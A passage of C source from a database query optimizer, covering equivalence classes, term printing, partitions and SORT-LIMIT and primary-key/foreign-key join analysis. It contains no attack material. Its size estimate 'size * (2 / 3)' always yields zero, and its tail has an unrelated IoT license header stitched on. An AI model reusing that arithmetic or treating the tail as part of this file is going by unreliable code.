{
domain = tp_domain_cache (domain);
}
else
{
/* guessing */
return sizeof (int);
}
size = tp_domain_disk_size (domain);
switch (TP_DOMAIN_TYPE (domain))
{
case DB_TYPE_VARBIT:
case DB_TYPE_VARCHAR:
case DB_TYPE_VARNCHAR:
/* do guessing for variable character type */
size = size * (2 / 3);
break;
default:
break;
}
return MAX ((int) sizeof (int), size);
/* for backward compatibility, at least sizeof(long) */
}
/*
* qo_seg_fprint () -
* return:
* seg(in):
* f(in):
*/
void
qo_seg_fprint (QO_SEGMENT * seg, FILE * f)
{
fprintf (f, "%s[%d]", QO_SEG_NAME (seg), QO_NODE_IDX (QO_SEG_HEAD (seg)));
}
/*
* qo_eqclass_new () -
* return:
* env(in):
*/
static QO_EQCLASS *
qo_eqclass_new (QO_ENV * env)
{
QO_EQCLASS *eqclass;
QO_ASSERT (env, env->neqclasses < env->Neqclasses);
eqclass = QO_ENV_EQCLASS (env, env->neqclasses);
QO_EQCLASS_ENV (eqclass) = env;
QO_EQCLASS_IDX (eqclass) = env->neqclasses;
QO_EQCLASS_TERM (eqclass) = NULL;
bitset_init (&(QO_EQCLASS_SEGS (eqclass)), env);
env->neqclasses++;
return eqclass;
}
/*
* qo_eqclass_free () -
* return:
* eqclass(in):
*/
static void
qo_eqclass_free (QO_EQCLASS * eqclass)
{
bitset_delset (&(QO_EQCLASS_SEGS (eqclass)));
}
/*
* qo_eqclass_add () -
* return:
* eqclass(in):
* seg(in):
*/
static void
qo_eqclass_add (QO_EQCLASS * eqclass, QO_SEGMENT * seg)
{
bitset_add (&(QO_EQCLASS_SEGS (eqclass)), QO_SEG_IDX (seg));
bitset_add (&(QO_NODE_EQCLASSES (QO_SEG_HEAD (seg))), QO_EQCLASS_IDX (eqclass));
QO_SEG_EQCLASS (seg) = eqclass;
}
/*
* qo_eqclass_dump () -
* return:
* eqclass(in):
* f(in):
*/
static void
qo_eqclass_dump (QO_EQCLASS * eqclass, FILE * f)
{
const char *prefix = "";
int member;
QO_ENV *env = QO_EQCLASS_ENV (eqclass);
BITSET_ITERATOR bi;
if (QO_EQCLASS_TERM (eqclass))
{
qo_term_fprint (QO_EQCLASS_TERM (eqclass), f);
}
else
{
for (member = bitset_iterate (&(QO_EQCLASS_SEGS (eqclass)), &bi); member != -1; member = bitset_next_member (&bi))
{
fputs (prefix, f);
qo_seg_fprint (QO_ENV_SEG (env, member), f);
prefix = " ";
}
}
}
/*
* qo_term_clear () -
* return:
* env(in):
* idx(in):
*/
static void
qo_term_clear (QO_ENV * env, int idx)
{
QO_TERM *term = QO_ENV_TERM (env, idx);
QO_TERM_ENV (term) = env;
QO_TERM_CLASS (term) = QO_TC_OTHER;
QO_TERM_SELECTIVITY (term) = 1.0;
QO_TERM_RANK (term) = 0;
QO_TERM_PT_EXPR (term) = NULL;
QO_TERM_LOCATION (term) = 0;
QO_TERM_SEG (term) = NULL;
QO_TERM_OID_SEG (term) = NULL;
QO_TERM_HEAD (term) = NULL;
QO_TERM_TAIL (term) = NULL;
QO_TERM_EQCLASS (term) = QO_UNORDERED;
QO_TERM_NOMINAL_SEG (term) = NULL;
QO_TERM_IDX (term) = idx;
QO_TERM_CAN_USE_INDEX (term) = 0;
QO_TERM_INDEX_SEG (term, 0) = NULL;
QO_TERM_INDEX_SEG (term, 1) = NULL;
QO_TERM_JOIN_TYPE (term) = NO_JOIN;
QO_TERM_MULTI_COL_SEGS (term) = NULL;
QO_TERM_MULTI_COL_CNT (term) = 0;
bitset_init (&(QO_TERM_NODES (term)), env);
bitset_init (&(QO_TERM_SEGS (term)), env);
bitset_init (&(QO_TERM_SUBQUERIES (term)), env);
QO_TERM_FLAG (term) = 0;
}
/*
* qo_discover_sort_limit_nodes () - discover the subset of nodes on which
* a SORT_LIMIT plan can be applied.
* return : void
* env (in) : env
*
* Note: This function discovers a subset of nodes on which a SORT_LIMIT plan
* can be applied without altering the result of the query.
*/
static void
qo_discover_sort_limit_nodes (QO_ENV * env)
{
PT_NODE *query, *orderby, *sort_col, *select_list, *col, *save_next;
int i, pos_spec, limit_max_count;
QO_NODE *node;
BITSET order_nodes, dep_nodes, expr_segs, tmp_bitset;
BITSET_ITERATOR bi;
bitset_init (&order_nodes, env);
bitset_init (&QO_ENV_SORT_LIMIT_NODES (env), env);
query = QO_ENV_PT_TREE (env);
if (!PT_IS_SELECT (query))
{
goto abandon_stop_limit;
}
if (query->info.query.all_distinct != PT_ALL || query->info.query.q.select.group_by != NULL
|| query->info.query.q.select.connect_by != NULL)
{
goto abandon_stop_limit;
}
if (query->info.query.q.select.hint & PT_HINT_NO_SORT_LIMIT)
{
goto abandon_stop_limit;
}
if (pt_get_query_limit_value (QO_ENV_PARSER (env), QO_ENV_PT_TREE (env), &QO_ENV_LIMIT_VALUE (env)) != NO_ERROR)
{
/* unusable limit */
goto abandon_stop_limit;
}
if (env->npartitions > 1)
{
/* not applicable when dealing with more than one partition */
goto abandon_stop_limit;
}
if (bitset_cardinality (&QO_PARTITION_NODES (QO_ENV_PARTITION (env, 0))) <= 1)
{
/* No need to apply this optimization on a single node */
goto abandon_stop_limit;
}
orderby = query->info.query.order_by;
if (orderby == NULL)
{
goto abandon_stop_limit;
}
env->use_sort_limit = QO_SL_INVALID;
/* Verify that we don't have terms qualified as after join. These terms will be evaluated after the SORT-LIMIT plan
* and might invalidate tuples the plan returned.
*/
for (i = 0; i < env->nterms; i++)
{
if (QO_TERM_CLASS (&env->terms[i]) == QO_TC_AFTER_JOIN || QO_TERM_CLASS (&env->terms[i]) == QO_TC_OTHER)
{
goto abandon_stop_limit;
}
}
/* Start by assuming that evaluation of the limit clause depends on all nodes in the query. Since we only have one
* partition, we can get the bitset of nodes from there.
*/
bitset_union (&env->sort_limit_nodes, &QO_PARTITION_NODES (QO_ENV_PARTITION (env, 0)));
select_list = pt_get_select_list (QO_ENV_PARSER (env), query);
assert_release (select_list != NULL);
/* Only consider ORDER BY expression which is evaluable during a scan. This means any expression except analytic and
* aggregate functions.
*/
for (sort_col = orderby; sort_col != NULL; sort_col = sort_col->next)
{
if (sort_col->node_type != PT_SORT_SPEC)
{
goto abandon_stop_limit;
}
bitset_init (&expr_segs, env);
bitset_init (&tmp_bitset, env);
pos_spec = sort_col->info.sort_spec.pos_descr.pos_no;
/* sort_col is a position specifier in select list. Have to walk the select list to find the actual node */
for (i = 1, col = select_list; col != NULL && i != pos_spec; col = col->next, i++);
if (col == NULL)
{
assert_release (col != NULL);
goto abandon_stop_limit;
}
save_next = col->next;
col->next = NULL;
if (pt_has_analytic (QO_ENV_PARSER (env), col) || pt_has_aggregate (QO_ENV_PARSER (env), col))
{
/* abandon search because these expressions cannot be evaluated during SORT_LIMIT evaluation */
col->next = save_next;
goto abandon_stop_limit;
}
/* get segments from col */
qo_expr_segs (env, col, &expr_segs);
/* get nodes for segments */
qo_seg_nodes (env, &expr_segs, &tmp_bitset);
/* accumulate nodes to order_nodes */
bitset_union (&order_nodes, &tmp_bitset);
bitset_delset (&expr_segs);
bitset_delset (&tmp_bitset);
col->next = save_next;
}
for (i = bitset_iterate (&order_nodes, &bi); i != -1; i = bitset_next_member (&bi))
{
bitset_init (&dep_nodes, env);
node = QO_ENV_NODE (env, i);
/* For each orderby node, gather nodes which are SORT_LIMIT independent on this node and remove them from
* sort_limit_nodes.
*/
qo_discover_sort_limit_join_nodes (env, node, &order_nodes, &dep_nodes);
bitset_difference (&env->sort_limit_nodes, &dep_nodes);
bitset_delset (&dep_nodes);
}
if (bitset_cardinality (&env->sort_limit_nodes) == env->Nnodes)
{
/* There is no subset of nodes on which we can apply SORT_LIMIT so abandon this optimization */
goto abandon_stop_limit;
}
bitset_delset (&order_nodes);
/* In order to create a SORT-LIMIT plan, the query must have a valid limit. All other conditions for creating the
* plan have been met.
*/
if (DB_IS_NULL (&QO_ENV_LIMIT_VALUE (env)))
{
/* Cannot make a decision at this point. Go ahead with query compilation as if this optimization does not apply.
* The query will be recompiled once a valid limit is supplied. */
goto sort_limit_possible;
}
limit_max_count = prm_get_integer_value (PRM_ID_SORT_LIMIT_MAX_COUNT);
if (limit_max_count == 0)
{
/* SORT-LIMIT plans are disabled */
goto abandon_stop_limit;
}
if ((DB_BIGINT) limit_max_count < db_get_bigint (&QO_ENV_LIMIT_VALUE (env)))
{
/* Limit too large to apply this optimization. Mark it as candidate but do not generate SORT-LIMIT plans at this
* time.
*/
goto sort_limit_possible;
}
if (bitset_cardinality (&env->sort_limit_nodes) == 1)
{
/* Mark this node as a sort stop candidate. We will generate a SORT-LIMIT plan over this node. */
int n = bitset_first_member (&order_nodes);
node = QO_ENV_NODE (env, n);
QO_NODE_SORT_LIMIT_CANDIDATE (node) = true;
}
env->use_sort_limit = QO_SL_USE;
return;
sort_limit_possible:
env->use_sort_limit = QO_SL_POSSIBLE;
bitset_delset (&QO_ENV_SORT_LIMIT_NODES (env));
return;
abandon_stop_limit:
bitset_delset (&order_nodes);
bitset_delset (&QO_ENV_SORT_LIMIT_NODES (env));
env->use_sort_limit = QO_SL_INVALID;
}
/*
* qo_equivalence () -
* return:
* sega(in):
* segb(in):
*/
static void
qo_equivalence (QO_SEGMENT * sega, QO_SEGMENT * segb)
{
while (QO_SEG_EQ_ROOT (sega))
{
sega = QO_SEG_EQ_ROOT (sega);
}
while (QO_SEG_EQ_ROOT (segb))
{
segb = QO_SEG_EQ_ROOT (segb);
}
if (sega != segb)
{
QO_SEG_EQ_ROOT (sega) = segb;
}
}
/*
* qo_eqclass_wrt () -
* return:
* eqclass(in):
* nodeset(in):
*/
static QO_SEGMENT *
qo_eqclass_wrt (QO_EQCLASS * eqclass, BITSET * nodeset)
{
int member;
BITSET_ITERATOR si;
QO_SEGMENT *result = NULL;
for (member = bitset_iterate (&(QO_EQCLASS_SEGS (eqclass)), &si); member != -1; member = bitset_next_member (&si))
{
QO_SEGMENT *seg = QO_ENV_SEG (QO_EQCLASS_ENV (eqclass), member);
if (BITSET_MEMBER (*nodeset, QO_NODE_IDX (QO_SEG_HEAD (seg))))
{
result = seg;
break;
}
}
QO_ASSERT (eqclass->env, result != NULL);
return result;
}
/*
* qo_eqclass_fprint_wrt () -
* return:
* eqclass(in):
* nodeset(in):
* f(in):
*/
void
qo_eqclass_fprint_wrt (QO_EQCLASS * eqclass, BITSET * nodeset, FILE * f)
{
if (eqclass == QO_UNORDERED)
{
fputs ("UNORDERED", f);
}
else if (bitset_is_empty (&(QO_EQCLASS_SEGS (eqclass))))
{
/*
* This is a phony eqclass created for a complex merge join.
* Just fabricate some text that will let us know where it came
* from...
*/
fprintf (f, "phony (term[%d])", QO_TERM_IDX (QO_EQCLASS_TERM (eqclass)));
}
else
{
qo_seg_fprint (qo_eqclass_wrt (eqclass, nodeset), f);
}
}
/*
* qo_term_free () -
* return:
* term(in):
*/
static void
qo_term_free (QO_TERM * term)
{
/*
* Free the expr alloced by this term
*/
if (QO_TERM_IS_FLAGED (term, QO_TERM_COPY_PT_EXPR))
{
parser_free_tree (QO_ENV_PARSER (QO_TERM_ENV (term)), QO_TERM_PT_EXPR (term));
}
bitset_delset (&(QO_TERM_NODES (term)));
bitset_delset (&(QO_TERM_SEGS (term)));
bitset_delset (&(QO_TERM_SUBQUERIES (term)));
if (QO_TERM_MULTI_COL_SEGS (term))
{
free_and_init (QO_TERM_MULTI_COL_SEGS (term));
}
}
/*
* qo_term_fprint () -
* return:
* term(in):
* f(in):
*/
void
qo_term_fprint (QO_TERM * term, FILE * f)
{
QO_TERMCLASS tc;
if (term)
{
switch (tc = QO_TERM_CLASS (term))
{
case QO_TC_PATH:
qo_node_fprint (QO_TERM_HEAD (term), f);
if (!QO_TERM_SEG (term) || !QO_SEG_NAME (QO_TERM_SEG (term)))
{
fprintf (f, " () -> ");
}
else
{
fprintf (f, " %s -> ", QO_SEG_NAME (QO_TERM_SEG (term)));
}
qo_node_fprint (QO_TERM_TAIL (term), f);
break;
case QO_TC_DEP_LINK:
fprintf (f, "table(");
bitset_print (&(QO_NODE_DEP_SET (QO_TERM_TAIL (term))), f);
fprintf (f, ") -> ");
qo_node_fprint (QO_TERM_TAIL (term), f);
break;
case QO_TC_DEP_JOIN:
qo_node_fprint (QO_TERM_HEAD (term), f);
fprintf (f, " <dj> ");
qo_node_fprint (QO_TERM_TAIL (term), f);
break;
default:
fprintf (f, "term[%d]", QO_TERM_IDX (term));
break;
}
}
else
{
fprintf (f, "none");
}
}
/*
* qo_termset_fprint () -
* return:
* env(in):
* terms(in):
* f(in):
*/
void
qo_termset_fprint (QO_ENV * env, BITSET * terms, FILE * f)
{
int tx;
BITSET_ITERATOR si;
const char *prefix = "";
for (tx = bitset_iterate (terms, &si); tx != -1; tx = bitset_next_member (&si))
{
fputs (prefix, f);
qo_term_fprint (QO_ENV_TERM (env, tx), f);
prefix = " AND ";
}
}
/*
* qo_term_dump () -
* return:
* term(in):
* f(in):
*/
static void
qo_term_dump (QO_TERM * term, FILE * f)
{
PT_NODE *conj, *saved_next = NULL;
QO_TERMCLASS tc;
conj = QO_TERM_PT_EXPR (term);
if (conj)
{
saved_next = conj->next;
conj->next = NULL;
}
tc = QO_TERM_CLASS (term);
switch (tc)
{
case QO_TC_PATH:
qo_node_fprint (QO_TERM_HEAD (term), f);
if (!QO_TERM_SEG (term) || !QO_SEG_NAME (QO_TERM_SEG (term)))
{
fprintf (f, " () -> ");
}
else
{
fprintf (f, " %s -> ", QO_SEG_NAME (QO_TERM_SEG (term)));
}
qo_node_fprint (QO_TERM_TAIL (term), f);
break;
case QO_TC_DEP_LINK:
fprintf (f, "table(");
bitset_print (&(QO_NODE_DEP_SET (QO_TERM_TAIL (term))), f);
fprintf (f, ") -> ");
qo_node_fprint (QO_TERM_TAIL (term), f);
break;
case QO_TC_DEP_JOIN:
qo_node_fprint (QO_TERM_HEAD (term), f);
fprintf (f, " <dj> ");
qo_node_fprint (QO_TERM_TAIL (term), f);
break;
case QO_TC_DUMMY_JOIN:
if (conj)
{ /* may be transitive dummy join term */
fprintf (f, "%s", parser_print_tree (QO_ENV_PARSER (QO_TERM_ENV (term)), conj));
}
else
{
qo_node_fprint (QO_TERM_HEAD (term), f);
fprintf (f, ", ");
qo_node_fprint (QO_TERM_TAIL (term), f);
}
break;
default:
assert_release (conj != NULL);
if (conj)
{
PARSER_CONTEXT *parser = QO_ENV_PARSER (QO_TERM_ENV (term));
PT_PRINT_VALUE_FUNC saved_func = parser->print_db_value;
/* in order to print auto parameterized values */
parser->print_db_value = pt_print_node_value;
fprintf (f, "%s", parser_print_tree (parser, conj));
parser->print_db_value = saved_func;
}
break;
}
fprintf (f, " (sel %g)", QO_TERM_SELECTIVITY (term));
if (QO_TERM_RANK (term) > 1)
{
fprintf (f, " (rank %d)", QO_TERM_RANK (term));
}
switch (QO_TERM_CLASS (term))
{
case QO_TC_PATH:
fprintf (f, " (path term)");
break;
case QO_TC_JOIN:
fprintf (f, " (join term)");
break;
case QO_TC_SARG:
fprintf (f, " (sarg term)");
break;
case QO_TC_OTHER:
{
if (conj && conj->node_type == PT_VALUE && conj->info.value.location == 0)
{
/* is an always-false or always-true WHERE condition */
fprintf (f, " (dummy sarg term)");
}
else
{
fprintf (f, " (other term)");
}
}
break;
case QO_TC_DEP_LINK:
fprintf (f, " (dep term)");
break;
case QO_TC_DEP_JOIN:
fprintf (f, " (dep-join term)");
break;
case QO_TC_DURING_JOIN:
fprintf (f, " (during join term)");
break;
case QO_TC_AFTER_JOIN:
fprintf (f, " (after join term)");
break;
case QO_TC_TOTALLY_AFTER_JOIN:
fprintf (f, " (instnum term)");
break;
case QO_TC_DUMMY_JOIN:
fprintf (f, " (dummy join term)");
break;
default:
break;
}
if (QO_TERM_IS_FLAGED (term, QO_TERM_MERGEABLE_EDGE))
{
fputs (" (mergeable)", f);
}
switch (QO_TERM_JOIN_TYPE (term))
{
case NO_JOIN:
fputs (" (not-join eligible)", f);
break;
case JOIN_INNER:
fputs (" (inner-join)", f);
break;
case JOIN_LEFT:
fputs (" (left-join)", f);
break;
case JOIN_RIGHT:
fputs (" (right-join)", f);
break;
case JOIN_OUTER: /* not used */
fputs (" (outer-join)", f);
break;
default:
break;
}
if (QO_TERM_CAN_USE_INDEX (term))
{
int i;
fputs (" (indexable", f);
for (i = 0; i < QO_TERM_CAN_USE_INDEX (term); i++)
{
fputs (" ", f);
qo_seg_fprint (QO_TERM_INDEX_SEG (term, i), f);
}
fputs (")", f);
}
fprintf (f, " (loc %d)", QO_TERM_LOCATION (term));
/* restore link */
if (conj)
{
conj->next = saved_next;
}
}
/*
* qo_subquery_dump () -
* return:
* env(in):
* subq(in):
* f(in):
*/
static void
qo_subquery_dump (QO_ENV * env, QO_SUBQUERY * subq, FILE * f)
{
int i;
BITSET_ITERATOR bi;
const char *separator;
fprintf (f, "%p", (void *) subq->node);
separator = NULL;
fputs (" {", f);
for (i = bitset_iterate (&(subq->segs), &bi); i != -1; i = bitset_next_member (&bi))
{
if (separator)
{
fputs (separator, f);
}
qo_seg_fprint (QO_ENV_SEG (env, i), f);
separator = " ";
}
fputs ("}", f);
separator = "";
fputs (" {", f);
for (i = bitset_iterate (&(subq->nodes), &bi); i != -1; i = bitset_next_member (&bi))
{
fprintf (f, "%snode[%d]", separator, i);
separator = " ";
}
fputs ("}", f);
fputs (" (from term(s)", f);
for (i = bitset_iterate (&(subq->terms), &bi); i != -1; i = bitset_next_member (&bi))
{
fprintf (f, " %d", i);
}
fputs (")", f);
}
/*
* qo_subquery_free () -
* return:
* subq(in):
*/
static void
qo_subquery_free (QO_SUBQUERY * subq)
{
bitset_delset (&(subq->segs));
bitset_delset (&(subq->nodes));
bitset_delset (&(subq->terms));
}
/*
* qo_partition_init () -
* return:
* env(in):
* part(in):
* n(in):
*/
static void
qo_partition_init (QO_ENV * env, QO_PARTITION * part, int n)
{
bitset_init (&(QO_PARTITION_NODES (part)), env);
bitset_init (&(QO_PARTITION_EDGES (part)), env);
bitset_init (&(QO_PARTITION_DEPENDENCIES (part)), env);
QO_PARTITION_M_OFFSET (part) = 0;
QO_PARTITION_PLAN (part) = NULL;
QO_PARTITION_IDX (part) = n;
}
/*
* qo_partition_free () -
* return:
* part(in):
*/
static void
qo_partition_free (QO_PARTITION * part)
{
bitset_delset (&(QO_PARTITION_NODES (part)));
bitset_delset (&(QO_PARTITION_EDGES (part)));
bitset_delset (&(QO_PARTITION_DEPENDENCIES (part)));
#if 0
/*
* Do *not* free the plan here; it already had its ref count bumped
* down during combine_partitions(), and it will be (has been)
* collected by the call to qo_plan_discard() that freed the
* top-level plan. What we have here is a dangling pointer.
*/
qo_plan_del_ref (QO_PARTITION_PLAN (part));
#else
QO_PARTITION_PLAN (part) = NULL;
#endif
}
/*
* qo_partition_dump () -
* return:
* part(in):
* f(in):
*/
static void
qo_partition_dump (QO_PARTITION * part, FILE * f)
{
fputs ("(nodes ", f);
bitset_print (&(QO_PARTITION_NODES (part)), f);
fputs (") (edges ", f);
bitset_print (&(QO_PARTITION_EDGES (part)), f);
fputs (") (dependencies ", f);
bitset_print (&(QO_PARTITION_DEPENDENCIES (part)), f);
fputs (")", f);
}
/*
* qo_print_stats () -
* return:
* f(in):
*/
void
qo_print_stats (FILE * f)
{
fputs ("\n", f);
qo_info_stats (f);
qo_plans_stats (f);
#if defined (CUBRID_DEBUG)
set_stats (f);
#endif
}
/*
* qo_seg_nodes () - Return a bitset of node ids produced from the heads
* of all of the segments in segset
* return:
* env(in): The environment in which these segment and node ids make sense
* segset(in): A bitset of segment ids
* result(out): A bitset of node ids (OUTPUT PARAMETER)
*/
static void
qo_seg_nodes (QO_ENV * env, BITSET * segset, BITSET * result)
{
BITSET_ITERATOR si;
int i;
BITSET_CLEAR (*result);
for (i = bitset_iterate (segset, &si); i != -1; i = bitset_next_member (&si))
{
bitset_add (result, QO_NODE_IDX (QO_SEG_HEAD (QO_ENV_SEG (env, i))));
}
}
/*
* qo_is_prefix_index () - Find out if this is a prefix index
* return:
* ent(in): index entry
*/
bool
qo_is_prefix_index (QO_INDEX_ENTRY * ent)
{
if (ent && ent->class_ && ent->class_->smclass)
{
SM_CLASS_CONSTRAINT *cons;
cons = classobj_find_class_index (ent->class_->smclass, ent->constraints->name);
if (cons)
{
if (cons->attrs_prefix_length && cons->attrs_prefix_length[0] != -1)
{
return true;
}
}
}
return false;
}
/*
* qo_is_filter_index () - Find out if this is a filter index
* return: true/false
* ent(in): index entry
*/
bool
qo_is_filter_index (QO_INDEX_ENTRY * ent)
{
if (ent && ent->constraints)
{
if (ent->constraints->filter_predicate && ent->force > 0)
{
return true;
}
}
return false;
}
/*
* qo_check_coll_optimization () - Checks for attributes with collation in
* index and fills the optimization structure
*
* return:
* ent(in): index entry
* collation_opt(out):
*
* Note : this only checks for index covering optimization.
* If at least one attribute of index does not support index covering,
* this option will be disabled for the entire index.
*/
void
qo_check_coll_optimization (QO_INDEX_ENTRY * ent, COLL_OPT * collation_opt)
{
assert (collation_opt != NULL);
collation_opt->allow_index_opt = true;
if (ent && ent->class_ && ent->class_->smclass)
{
SM_CLASS_CONSTRAINT *cons;
SM_ATTRIBUTE **attr;
cons = classobj_find_class_index (ent->class_->smclass, ent->constraints->name);
if (cons == NULL || cons->attributes == NULL)
{
return;
}
for (attr = cons->attributes; *attr != NULL; attr++)
{
if ((*attr)->domain != NULL && TP_TYPE_HAS_COLLATION (TP_DOMAIN_TYPE ((*attr)->domain)))
{
LANG_COLLATION *lang_coll = lang_get_collation (TP_DOMAIN_COLLATION ((*attr)->domain));
assert (lang_coll != NULL);
if (!(lang_coll->options.allow_index_opt))
{
collation_opt->allow_index_opt = false;
return;
}
}
}
}
}
/*
* qo_check_type_index_covering () - Checks for attributes with types not able
* to support index covering
*
* return:
* ent(in): index entry
* collation_opt(out):
*
* Note : this only checks for index covering optimization.
* If at least one attribute of index does not support index covering,
* this option will be disabled for the entire index.
*/
bool
qo_check_type_index_covering (QO_INDEX_ENTRY * ent)
{
if (ent && ent->class_ && ent->class_->smclass)
{
SM_CLASS_CONSTRAINT *cons;
SM_ATTRIBUTE **attr;
cons = classobj_find_class_index (ent->class_->smclass, ent->constraints->name);
if (cons == NULL || cons->attributes == NULL)
{
return true;
}
for (attr = cons->attributes; *attr != NULL; attr++)
{
if ((*attr)->domain != NULL && TP_TYPE_NOT_SUPPORT_COVERING (TP_DOMAIN_TYPE ((*attr)->domain)))
{
return false;
}
}
}
return true;
}
/*
* qo_discover_sort_limit_join_nodes () - discover nodes which are joined to
* this node and do not need to be
* taken into consideration when
* evaluating sort and limit operators
* return : void
* env (in) : environment
* node (in) : node to process
* order_nodes (in) : nodes on which the query will be ordered
* dep_nodes (in/out) : nodes which are dependent on this one for sort and
* limit evaluation
*
* Note: A node joined to this node is independent of the sort and limit
* operator evaluation if we are not ordering results based on it and
* one of the following conditions is true:
* 1. Is left outer joined to to node
* 2. Is inner joined to this node through a primary key->foreign key
* relationship (see qo_is_pk_fk_full_join)
*/
static void
qo_discover_sort_limit_join_nodes (QO_ENV * env, QO_NODE * node, BITSET * order_nodes, BITSET * dep_nodes)
{
BITSET join_nodes;
BITSET_ITERATOR bi;
QO_TERM *term;
int i;
bitset_init (dep_nodes, env);
bitset_init (&join_nodes, env);
for (i = 0; i < env->nedges; i++)
{
term = QO_ENV_TERM (env, i);
if (BITSET_MEMBER (QO_TERM_NODES (term), QO_NODE_IDX (node)))
{
if (QO_TERM_CLASS (term) == QO_TC_JOIN
&& ((QO_TERM_JOIN_TYPE (term) == JOIN_LEFT && QO_TERM_HEAD (term) == node)
|| (QO_TERM_JOIN_TYPE (term) == JOIN_RIGHT && QO_TERM_TAIL (term) == node)))
{
/* Other nodes in this term are outer joined with our node. We can safely add them to dep_nodes if we're
* not ordering on them */
bitset_union (dep_nodes, &QO_TERM_NODES (term));
/* remove nodes on which we're ordering */
bitset_difference (dep_nodes, order_nodes);
}
else if (QO_TERM_CLASS (term) == QO_TC_PATH)
{
/* path edges are always independent */
bitset_difference (dep_nodes, &QO_TERM_NODES (term));
}
else
{
bitset_union (&join_nodes, &QO_TERM_NODES (term));
}
}
}
/* remove nodes on which we're ordering from the list */
bitset_difference (&join_nodes, order_nodes);
/* process inner joins */
for (i = bitset_iterate (&join_nodes, &bi); i != -1; i = bitset_next_member (&bi))
{
if (qo_is_pk_fk_full_join (env, node, QO_ENV_NODE (env, i)))
{
bitset_add (dep_nodes, i);
}
}
}
/*
* qo_is_pk_fk_full_join () - verify if the join between two nodes can be
* fully expressed through a foreign key->primary
* key join
* return : true if there is a pk->fk relationship, false otherwise
* env (in) :
* fk_node (in) : node which should have a foreign key
* pk_node (in) : node which should have a primary key
*
* Note: Full PK->FK relationships guarantee that any tuple from the FK node
* generates a single tuple in the PK node. This relationship allows us to
* apply some optimizations (like SORT-LIMIT). This relationship exists if
* the following conditions are met:
* 1. PK node has only EQ predicates.
* 2. All terms from PK node are join edges
* 3. The segments involved in terms are a prefix of the primary key index
* 4. There is a foreign key in the fk_node which references the pk_node's
* primary key and the join uses the same prefix of the foreign key as
* that the of the primary key.
*/
static bool
qo_is_pk_fk_full_join (QO_ENV * env, QO_NODE * fk_node, QO_NODE * pk_node)
{
int i, j;
QO_NODE_INDEX *node_indexp;
QO_INDEX_ENTRY *pk_idx = NULL, *fk_idx = NULL;
QO_TERM *term;
QO_SEGMENT *fk_seg, *pk_seg;
node_indexp = QO_NODE_INDEXES (pk_node);
if (node_indexp == NULL)
{
return false;
}
pk_idx = NULL;
for (i = 0; i < QO_NI_N (node_indexp); i++)
{
pk_idx = QO_NI_ENTRY (node_indexp, i)->head;
if (pk_idx->constraints->type == SM_CONSTRAINT_PRIMARY_KEY)
{
break;
}
pk_idx = NULL;
}
if (pk_idx == NULL)
{
/* node either does not have a primary key or it is not referenced in any way in this statement */
return false;
}
/* find the foreign key on fk_node which references pk_node */
node_indexp = QO_NODE_INDEXES (fk_node);
if (node_indexp == NULL)
{
return false;
}
fk_idx = NULL;
for (i = 0; i < QO_NI_N (node_indexp); i++)
{
fk_idx = QO_NI_ENTRY (node_indexp, i)->head;
if (fk_idx->constraints->type != SM_CONSTRAINT_FOREIGN_KEY)
{
fk_idx = NULL;
continue;
}
if (BTID_IS_EQUAL (&fk_idx->constraints->fk_info->ref_class_pk_btid, &pk_idx->constraints->index_btid))
{
/* These are the droids we're looking for */
break;
}
fk_idx = NULL;
}
if (fk_idx == NULL)
{
/* No matching foreign key */
return false;
}
/* Make sure we don't have gaps in the primary key columns */
for (i = 0; i < pk_idx->nsegs; i++)
{
if (pk_idx->seg_idxs[i] == -1)
{
if (i == 0)
{
/* first col must be present */
return false;
}
/* this has to be the last one */
for (j = i + 1; j < pk_idx->nsegs; j++)
{
if (pk_idx->seg_idxs[j] != -1)
{
return false;
}
}
break;
}
}
if (pk_idx->nsegs > fk_idx->nsegs)
{
/* The number of segments from primary key should be less than those referenced in the foreign key. We can have
* more segments referenced from the foreign key because we don't care about other terms from the fk node
*/
return false;
}
/* Verify that all terms from pk_node reference terms from fk_node. If we find a term which only references pk_node,
* we can abandon the search.
*/
for (i = 0; i < env->nterms; i++)
{
term = QO_ENV_TERM (env, i);
if (QO_TERM_CLASS (term) == QO_TC_DUMMY_JOIN)
{
/* skip always true dummy join terms */
continue;
}
if (!BITSET_MEMBER (QO_TERM_NODES (term), QO_NODE_IDX (pk_node)))
{
continue;
}
if (!BITSET_MEMBER (pk_idx->terms, QO_TERM_IDX (term)))
{
/* Term does not use pk_idx. This means that there is a predicate on pk_node outside of the primary key */
return false;
}
if (QO_TERM_JOIN_TYPE (term) != JOIN_INNER)
{
/* we're only interested in inner joins */
return false;
}
if (!BITSET_MEMBER (QO_TERM_NODES (term), QO_NODE_IDX (fk_node)))
{
/* found a term belonging to pk_node which does not reference the fk_node. This means pk_node is not full
* joined with fk_node
*/
return false;
}
if (QO_TERM_CLASS (term) != QO_TC_JOIN || !QO_TERM_IS_FLAGED (term, QO_TERM_EQUAL_OP))
{
/* Not a join term, bail out */
return false;
}
/* Iterate through segments and make sure we're joining same columns. E.g.: For PK(Pa, Pb) and FK (Fa, Fb), make
* sure the terms are not Pa = Fb or Pb = Fa
*/
if (term->can_use_index != 2)
{
return false;
}
if (QO_SEG_HEAD (QO_TERM_INDEX_SEG (term, 0)) == fk_node)
{
fk_seg = QO_TERM_INDEX_SEG (term, 0);
pk_seg = QO_TERM_INDEX_SEG (term, 1);
}
else
{
pk_seg = QO_TERM_INDEX_SEG (term, 0);
fk_seg = QO_TERM_INDEX_SEG (term, 1);
}
/* make sure pk_seg and fk_seg reference the same position in the two indexes */
for (j = 0; j < pk_idx->nsegs; j++)
{
if (pk_idx->seg_idxs[j] == QO_SEG_IDX (pk_seg))
{
assert (j < fk_idx->nsegs);
if (fk_idx->seg_idxs[j] != QO_SEG_IDX (fk_seg))
{
/* not joining the same column */
return false;
}
break;
}
}
}
return true;
}
/*
* qo_is_non_mvcc_class_with_index () - Is disabled-MVCC class with index.
*
* return : True/false.
* class_entry_p (in) : QO class entry.
*/
static bool
qo_is_non_mvcc_class_with_index (QO_CLASS_INFO_ENTRY * class_entry_p)
{
/* Index scan is currently optimized for MVCC and doesn't work properly for non-MVCC classes. Disable index scan for
* MVCC-disabled classes that have indexes. Index is still used to find unique object by key.
*/
return (oid_check_cached_class_oid (OID_CACHE_SERIAL_CLASS_ID, &class_entry_p->oid)
|| oid_check_cached_class_oid (OID_CACHE_HA_APPLY_INFO_CLASS_ID, &class_entry_p->oid));
}
|
686490.c | /*
* Tencent is pleased to support the open source community by making IoT Hub available.
* Copyright (C) 2016 THL A29 Limited, a Tencent company. All rights reserved.
* Licensed under the MIT License (the "License"); you may not use this file except in
* compliance with the License. You may obtain a copy of the License at
* http://opensource.org/licenses/MIT
